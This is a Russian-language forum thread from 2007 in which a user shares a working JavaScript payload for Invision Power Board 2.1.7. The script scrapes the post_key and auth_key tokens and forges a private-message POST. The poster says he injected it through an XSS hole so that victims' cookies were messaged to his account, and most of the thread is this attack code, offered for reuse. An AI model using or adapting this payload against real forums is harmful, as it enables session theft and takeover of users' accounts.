PDA

Просмотр полной версии : Отправка персоналок в ipb 2.1.7 через ajax


_Nikolas_
11.04.2007, 23:25
Вот писал когда-то, решил выложить.

Скрипт отправляет персональное сообщение любому пользователю в форуме ipb 2.1.7 (тестировалось только на этой версии, возможно будет работать и на других).

В свое время запихнул его в xss и юзеры сами слали мне куки :p

Конечно практическое применение не велико, ибо запихнуть такой здоровый скрипт редко удается. Зато не происходит обращение к левым хостам.

Суть работы простая: сначала посылает GET-запрос на страничку отправки персоналки, и выпарсивает оттуда post_key и auth_key, а затем генерит multipart/form-data POST-запрос с телом сообщения и шлет его.

В общем может будет кому полезен. :)


//эти переменные править
var forum = "http://www.forum.ru";
var msg_user = "admin";
var msg_title = "TEST";
var msg_post = "TEST POST";

var boundary = "---------------------------1065103348625032172387451659";

var http_request = false;

function createHttpRequest() {
http_request = false;
if (window.XMLHttpRequest) { // Мозилла, опера и т.д.
http_request = new XMLHttpRequest();
if (http_request.overrideMimeType) {
// Выставляем тип странички
http_request.overrideMimeType('text/xml');
}
} else if (window.ActiveXObject) { // Интернет эксплорер
try {
http_request = new ActiveXObject("Msxml2.XMLHTTP");
} catch (e) {
try {
http_request = new ActiveXObject("Microsoft.XMLHTTP");
} catch (e) {}
}
}
return http_request;
}

function makeGETRequest(url, param) {
http_request = createHttpRequest();
if (!http_request) {
//alert('Cannot create XMLHTTP instance');
return false;
}
http_request.onreadystatechange = alertContents; //Тут написать функцию которая вызовется после получения странички
http_request.open('GET', url + param, true);
http_request.send(null);
}

function makePOSTRequest(url, param) {
http_request = http_request = createHttpRequest();
if (!http_request) {
//alert('Cannot create XMLHTTP instance');
return false;
}
http_request.onreadystatechange = alertPost; //Тут написать функцию которая вызовется после получения странички
http_request.open('POST', url, true);
http_request.setRequestHeader("Content-type", "multipart/form-data; boundary=" + boundary);
http_request.setRequestHeader("Content-length", param.length);
http_request.send(param);
}

function alertContents() {
if (http_request.readyState == 4) { // Говорит о том что все загружено
if (http_request.status == 200) { // Статут загрузки страницы, если 200 то все нормально
//alert("ok");
var xml = http_request.responseText;
var re_post = new RegExp( "name=\"post_key\" value=\"([a-z0-9]+)\"" );
var re_auth = new RegExp( "name=\"auth_key\" value=\"([a-z0-9]+)\"" );
var post_key = re_post.exec( xml )[1];
var auth_key = re_auth.exec( xml )[1];
var param = '--' + boundary + '\r\n' +
'Content-Disposition: form-data; name="removeattachid"\r\n\r\n0\r\n' +
'--' + boundary + '\r\n' +
'Content-Disposition: form-data; name="OID"\r\n\r\n\r\n' +
'--' + boundary + '\r\n' +
'Content-Disposition: form-data; name="act"\r\n\r\nMsg\r\n' +
'--' + boundary + '\r\n' +
'Content-Disposition: form-data; name="CODE"\r\n\r\n04\r\n' +
'--' + boundary + '\r\n' +
'Content-Disposition: form-data; name="MODE"\r\n\r\n01\r\n' +
'--' + boundary + '\r\n' +
'Content-Disposition: form-data; name="post_key"\r\n\r\n' + post_key + '\r\n' +
'--' + boundary + '\r\n' +
'Content-Disposition: form-data; name="auth_key"\r\n\r\n' + auth_key + '\r\n' +
'--' + boundary + '\r\n' +
'Content-Disposition: form-data; name="MAX_FILE_SIZE"\r\n\r\n15360000\r\n' +
'--' + boundary + '\r\n' +
'Content-Disposition: form-data; name="entered_name"\r\n\r\n' + msg_user + '\r\n' +
'--' + boundary + '\r\n' +
'Content-Disposition: form-data; name="from_contact"\r\n\r\n-\r\n' +
'--' + boundary + '\r\n' +
'Content-Disposition: form-data; name="msg_title"\r\n\r\n' + msg_title + '\r\n' +
'--' + boundary + '\r\n' +
'Content-Disposition: form-data; name="ffont"\r\n\r\n0\r\n' +
'--' + boundary + '\r\n' +
'Content-Disposition: form-data; name="fsize"\r\n\r\n0\r\n' +
'--' + boundary + '\r\n' +
'Content-Disposition: form-data; name="Post"\r\n\r\n' + msg_post + '\r\n' +
'--' + boundary + '\r\n' +
'Content-Disposition: form-data; name="FILE_UPLOAD"; filename=""\r\nContent-Type: application/octet-stream\r\n\r\n\r\n' +
'--' + boundary + '--\r\n';
makePOSTRequest( forum + "/index.php?act=msg", param );
} else {
//alert('There was a problem with the request.');
//alert(http_request.status);
}
}
}
function alertPost() {
//здесь можем обработать результат отсылки, если захотим
}
//вызываем эту функцию для отправки сообщения
function main() {
makeGETRequest( forum + "/index.php?", "act=Msg&CODE=04" );
}

Isis
11.04.2007, 23:48
Гы, а если мы иммем доступ , зачем нам куки...
хеш там, хеш здесь..какая ранциа?

_Nikolas_
11.04.2007, 23:55
Гы, а если мы иммем доступ , зачем нам куки...
хеш там, хеш здесь..какая ранциа?
пардон за не понимание, какой доступ и куда?

если непонятно повторю: я запихивал скрипт в xss и он слал куки любому пользователю на форуме, ясен пень я указал свой аккаунт, и все куки шли мне.

Isis
12.04.2007, 00:13
А так это скрипт хсс..
Тогда ясно =\